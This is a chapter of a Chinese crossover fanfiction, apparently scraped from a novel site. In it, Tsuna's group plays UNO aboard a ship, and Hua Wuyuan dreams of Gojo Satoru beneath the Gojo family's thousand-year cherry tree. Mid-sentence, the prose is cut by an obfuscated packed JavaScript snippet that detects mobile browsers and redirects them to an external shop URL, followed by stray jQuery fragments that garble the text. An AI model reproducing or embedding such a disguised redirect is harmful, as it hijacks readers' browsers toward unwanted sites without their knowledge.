文趣网 > 都市小说 > 前高专教师今天也在上小学 > 43.第 43 章
    山本武还是一副觉得很好玩的样子,狱寺隼人则脸色很差。

    纲吉跑到花无缘面前,刚想开口,又注意到他脸色,声音立刻放轻了些。

    “小花,你好一点了吗?”

    “嗯。”

    花无缘说。

    “吹了会儿风,好多了。”

    纲吉松了一口气。

    然后就开始忍不住絮絮叨叨地诉苦。

    “你不知道,我们刚刚真的好惨啊!里包恩明明有票,结果一直不说!害得我以为山本和狱寺君真的要被抓走了,还一直被工作人员追,最后他居然说这也是训练的一部分!”

    他说到这里,声音都要崩溃了。

    “哪里有这种训练啊!”

    狱寺隼人立刻道:“十代目,都是我的错!我应该提前准备好所有票据,而不是让您陷入这种混乱——”

    纲吉慌忙摆手:“不是狱寺君的错啦!”

    山本武笑着说:“哈哈,不过挺有意思的。”

    狱寺隼人立刻转头:“棒球笨蛋,你闭嘴!”

    花无缘听着他们说话。

    纲吉说着说着,终于发现花无缘身边还站着一个陌生小婴儿。

    他眨了眨眼。

    “咦?”

    风温和地看向他。

    “你好。”

    纲吉看了看风,又看了看花无缘。

    “小花,这位是?”

    花无缘很平静地说:“路斯姐那边的小孩。”

    风:“……”

    花无缘补充:“之后可能会和我一起生活一段时间。”

    纲吉眨了眨眼。

    “这样啊。”

    他没有多问。

    或者说,他已经被里包恩折腾习惯了。

    一个气质不普通的小婴儿出现在身边这件事,对现在的纲吉来说,竟然已经没有一开始那么难以接受了。

    山本武倒是笑了起来。

    “哈哈,阿纲有里包恩,小花也有这个孩子。”

    他说着,摸了摸下巴,一副很认真思考的样子。

    “这么说起来,我是不是也得回去催一下我老爸?”

    纲吉:“催什么啊?!”

    山本武笑眯眯地说:“催他看看能不能也给我找个小婴儿老师之类的。”

    狱寺隼人立刻露出嫌弃的表情。

    “蠢货!”

    他瞪着山本武。

    “普通小婴儿怎么可以和里包恩先生比!”

    纲吉小声吐槽:“重点是这个吗……”

    风听着他们吵闹,眼底浮出一点很浅的笑意。

    他看向花无缘。

    花无缘站在栏杆边,可神情比刚才缓和了不少。

    纲吉还在问:“那风以后也会去小花家吗?”

    花无缘说:“大概。”

    纲吉想了想,很认真地点头。

    “那也挺好的。”

    花无缘看向他。

    纲吉说:“这样小花一个人在家的时候,我也能放心一点。”

    花无缘沉默了一下。

    “你真的很操心。”

    纲吉有点不好意思。

    “因为小花总是不说啊。”

    花无缘没接话。

    狱寺隼人皱眉看着风,仍旧保持警惕:“这个婴儿真的可靠吗?”

    风很温和地回答:“算是武术家。

    山本武眼睛一亮:“武术家?听起来很厉害啊。”

    里包恩的声音忽然从上方传来。

    “风确实很厉害。”

    几人同时抬头。

    黑西装的小婴儿不知什么时候坐在了上方的栏杆上,手里还端着一杯咖啡。

    纲吉吓得差点跳起来。

    “里包恩!你什么时候来的?”

    里包恩没有回答,只是看向风。

    “来晚了啊,风。”

    风微微颔首。

    “路上处理了一些事情。”

    “是吗。”

    里包恩的目光在风和花无缘之间扫过。

    “看来你们已经见过了。”

    花无缘看了他一眼,没有说话。

    里包恩也不在意。

    他只是压了压帽檐,语气平静地说:“既然人都到齐了,那接下来的旅行会更有意思。”

    纲吉心里忽然涌起非常不好的预感。

    “等、等等,里包恩,你说的有意思是什么意思?”

    里包恩微微一笑。

    “秘密。”

    纲吉抱头:“我就知道!”

    花无缘站在旁边,看着纲吉崩溃的样子,唇边终于浮出一点很淡的笑。

    海风吹过甲板。

    远处仍旧是一片黑色的海。

    夜里,他们在房间里打了一会儿UNO。

    说是一会儿,最后却一直闹腾到凌晨一两点。

    纲吉连输了三局之后,整个人趴在桌上,发出濒死一样的声音。

    “小花,为什么你也这么会打UNO啊……”

    花无缘放下一张牌。

    “因为你太好猜了。”

    纲吉抬起头,满脸震惊。

    “这种事情也能猜吗?”

    里包恩平静地说:“所以你才是蠢纲。”

    “不要在这种时候也打击我啊,里包恩!”

    山本武在旁边笑得很开心。

    狱寺隼人则认真地拿出纸笔,似乎准备为纲吉总结一份UNO战术手册,被纲吉慌忙阻止。

    到最后,连花无缘都觉得困了。

    众人才终于各自回房间。

    纲吉几乎是沾到枕头就睡着了。

    他今晚被里包恩折腾得太狠,又玩到这么晚,身体一挨到床,呼吸很快就变得平稳。半张脸埋在枕头里,头发乱糟糟的,手还无意识地搭在被子外面。

    花无缘坐在另一张床上,看了他一会儿。

    房间里只开着一盏小夜灯。

    暖黄色的光落在纲吉脸上,让他看起来比白天更可爱,也更像小时候。

    花无缘慢慢松了一口气。

    也许是因为这间房间里有纲吉。

    花无缘放松了一些,他关掉床头灯,躺了下去。

    船体仍旧在轻微摇晃。

    很轻。

    像某种不太稳定的摇篮。

    他闭上眼,原本以为自己会很难睡着,可意识却在不知不觉间慢慢沉了下去。

    然后,他做了一个梦。

    梦里有一棵樱花树。

    很大的一棵樱花树。

    大到几乎不像是真实存在的树木。

    枝干苍老,树冠舒展,层层叠叠的樱花在夜色下盛开,像一片被风托起的浅粉色的云。花瓣无声落下,落在石灯笼上,落在庭院的青苔上,也落在他的肩头。

    夜空很深。

    那棵树却在微微散发着光。

    不是刺眼的光。

    而是一种温润的微光。

    极其美丽。

    花无缘站在树下,仰头看了一会儿。

    他隐约记得,自己好像在哪里见过这么大的树。

    可是梦里的一切都像隔着水。

    记忆浮上来,又很快被涟漪揉碎。

    他还没来得及细想,身后忽然传来一道声音。

    “老师。”

    那声音很熟悉。

    熟悉到花无缘几乎在听见的瞬间,心口便轻轻收紧了一下。

    只是那声音里带着一点不敢置信。

    像是喊出这两个字的人,也不确定自己是不是在做梦。

    花无缘还没来得及转身。

    下一秒,他就被人从身后抱住了。

    很用力。

    用力到几乎不像是拥抱,而像是终于抓住了什么一旦松手就会彻底消失的东西。

    那人的手臂紧紧环住他的肩背,身上有一点很淡的甜味,混着

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17797045|207997||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    夜风、樱花和属于少年人的温度。

    后面的人似乎在说些什么。

    声音很低,很急,也有些颤。

    可花无缘听不真切。

    那些话被梦里的风吹散了,只剩下断断续续的气息落在耳边。

    “老师……”

    “我……”

    “为什么……”

    “不要……”

    花无缘想回头。

    也想开口。

    可梦境像忽然被某只手撕开。

    那只是一瞬间的事情。

    下一秒,他猛地睁开眼。

    房间里一片昏暗。

    船体仍旧在轻轻摇晃,远处似乎传来海浪拍打船身的声音。

    花无缘坐在床上,呼吸有些乱。

    他没有立刻动。

    只是垂眼,看向自己的左手。

    无名指上的金色戒指正在微微发热。

    很轻的热意。

    不灼人,却存在感鲜明,像是在提醒他,刚才那个梦并不完全只是普通的梦。

    花无缘坐在那里,愣了很久。

    多久了?

    他有多久没有梦到过五条悟了?

    不是想不起。

    也不是忘记了。

    只是醒来之后的事情太多。

    可一个梦,又把那些东西翻了出来。

    花无缘抬手,按了按额角。

    现在想起来了。

    那棵樱花树,是五条家的院子里的。

    他以前见过。

    也确实很喜欢那棵树。

    据说那棵樱花树从平安京时便一直活到了现在。

    整个日本也没有几棵真正意义上的千年樱。

    花无缘当时听见这个说法的时候,还稍微惊讶了一下。那种惊讶不算太深,毕竟咒术界本来就有太多不合常理的东西,一棵活了千年的樱花树放在五条家,好像也不算太过分。

    只是那棵树确实漂亮。

    尤其是夜里。

    五条悟后来大概是察觉了他喜欢那棵树。

    所以专门挑了樱花盛开的时节,把他的客房安排在那棵樱花树旁边。

    那个时候的五条悟已经很擅长用一些看似随意的事情来试探边界。

    邀请他去五条家。

    给他安排最好的房间。

    带他看庭院。

    又用那种半真半假的语气问:“老师喜欢的话,以后每年都来不就好了?”

    花无缘本身并不是多爱风雅的人。

    看花也好,赏月也好,听上去都很漂亮,可对他来说,见过一次,惊讶一下,也就差不多了。

    更何况,五条悟的邀约基本上不来就对了。

    那孩子太聪明。

    太会得寸进尺。

    你退一步,他能立刻把那一步当成新边界,然后笑着继续往前靠。

    所以花无缘后来很少应他的邀。

    他会见到那棵樱花树,本来也不是因为五条悟。

    而是更早的时候。

    那时候五条悟还只是个小学生。

    五条家有一位和花无缘关系还不错的学生结婚,婚礼邀请了他。花无缘作为老师去了五条家,也就是在那场婚礼上,第一次见到了那棵千年樱。

    也第一次见到了五条悟。

    那时的五条悟还很小。

    白发,蓝眼,穿着五条家替他准备的小孩子正装,站在人群之外。

    周围的大人都在看他。

    不是普通地看一个孩子。

    而是看某种终于降世的神子,看五条家未来的顶梁柱,看咒术界注定要被他改写的六眼。

    小小的五条悟站在樱花树下,脸上没什么表情。

    他不哭,也不闹。

    只是抬着那双漂亮得近乎非人的蓝眼睛,看着庭院里来来往往的人。

    像是在看一群无聊的影子。

    花无缘原本只是路过。